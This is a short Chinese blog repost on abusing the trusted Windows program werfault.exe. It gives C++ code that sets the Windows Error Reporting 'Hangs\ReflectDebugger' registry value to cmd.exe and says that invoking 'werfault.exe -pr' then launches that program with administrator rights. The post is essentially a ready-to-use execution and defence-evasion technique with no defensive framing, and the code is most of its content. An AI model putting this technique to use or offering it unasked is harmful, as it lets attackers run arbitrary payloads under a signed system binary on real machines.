【系统白程序利用】werfault.exe

【系统白程序利用】werfault.exe#include"stdafx.h"#include<windows.h>int_tmain(intargc,_TCHAR*argv[]){//Getrootkeyhandle.HKEYhRoot=nullptr;LPCTSTRlpSubKey=L"Software\\Microsoft\\Windows\\Wi…

大家好,又见面了,我是你们的朋友全栈君。

#include "stdafx.h"
#include <windows.h>


int _tmain(int argc, _TCHAR* argv[])
{

    // Get root key handle.
    HKEY hRoot = nullptr;
    LPCTSTR lpSubKey = L"Software\\Microsoft\\Windows\\Windows Error Reporting";
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, KEY_ALL_ACCESS, &hRoot) != ERROR_SUCCESS)
    {
        wprintf(L"Open root key <%s> failed!\n", lpSubKey);
    }

    // Create subKey.
    HKEY hResult = nullptr;
    lpSubKey = L"Hangs";
    DWORD despostion = NULL;
    if (RegCreateKeyEx(hRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hResult, &despostion) != ERROR_SUCCESS)
    {
        wprintf(L"Create key <%s> failed!\n", lpSubKey);
    }
    else
    {
        if (despostion == REG_CREATED_NEW_KEY)
        {
            printf("Create new key successfuly!\n");
        }

        if (despostion == REG_OPENED_EXISTING_KEY)
        {
            printf("Opened new key successfuly!\n");
        }
    }



    // Set subkey value.
    LPCTSTR lpValueName = L"ReflectDebugger";
    LPCTSTR lpData = L"c:\\windows\\system32\\cmd.exe";
    if (RegSetValueEx(hResult, lpValueName, 0, REG_SZ, (const byte*)lpData, (_tcslen(lpData)+1) * sizeof(TCHAR)) != ERROR_SUCCESS)
    {
        printf("Set key value failed!\n");
        return 0;
    }
    else
    {
        printf("Reg Add Successfully!\n");
    }


    system("pause");
    return 0;
}

添加注册表成功后,调用werfault.exe -pr ,werfault会启动注册表中填写的可执行程序。

上面代码需要用管理员权限编译运行

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/149716.html原文链接:https://javaforall.net

(0)
上一篇 2022年6月23日 下午10:16
下一篇 2022年6月23日 下午10:16


相关推荐

  • java孙鑫老师视频教程笔记「建议收藏」

    java孙鑫老师视频教程笔记「建议收藏」此笔记是我开始系统学习java孙鑫老师视频教程的笔记。可供初学者学习参考哈 今天先附上第一课Java的一些基本概念第二课Java面向对象编程后面的将陆续为大家奉上 但是如果你是初学者的话,我笔记里边可能有些东西只是点了一下,没有再详尽的描述了那是因为我以前学过一段java,有一定java基础,所以如果你需要这部分更的详细讲解的话还是得麻烦你自己在网上搜一

    2022年5月17日
    38
  • 电力-101/104规约基础1

    电力-101/104规约基础1内容包括IEC101/104规约术语及释义(嵌入实际工程C代码),IEC101/104规约标准与遥测量类型转换介绍,IEC101规约遥信、遥测与遥控及加密。

    2022年6月20日
    66
  • Inputstream_java input

    Inputstream_java inputimportjava.io.File;importjava.io.FileInputStream;importjava.io.IOException;importjava.io.InputStream;publicclassInputStreamDemo{/**InputStream字节输入流*FileInputStream:文件字节输入…

    2026年2月8日
    6
  • Navicat连接SqlServer2019数据库

    Navicat连接SqlServer2019数据库下载好 SqlServer201 开发版 下面这个教程就还行 https www cnblogs com youmingkuang p 12257367 html 还有就是 SqlServer 设置密码得大小写加数字 注意 连接连接名随便 主要是这个主机名 要点右边这个 去选 然后就是用户名密码 不知道用户名为甚是 sa 看其他博客这样写的 3 连接成功

    2026年3月26日
    2
  • 什么是系统可用性[通俗易懂]

    什么是系统可用性[通俗易懂]在一个阳光明媚的周二下午,我正在公司里面看着即将发布的Java12的新特性,这时候女朋友打来电话。晚上下班后,女朋友回到家里面和我说,发现淘宝无法访问的十几分钟后又可以了。系统可用性系统

    2022年6月30日
    26
  • python-PyCharm安装使用教程

    python-PyCharm安装使用教程1 下载 Pycharm 在 Pycharm 的官网即可下载 https www jetbrains com pycharm download section windows 下载时有两种版本选择 Professional 专业版 收费 和 Community 社区版 免费 2 开始安装 Pycharm 第一步 直接点击 Next 第二步 如果要修改安装路径 就在这里更改第三步 需要进行一些设置 没有特殊需要按照图中勾选即可 如果有特殊需要 请按如下描述确定是否勾选设置 1 创建快捷方式 根据

    2026年3月27日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号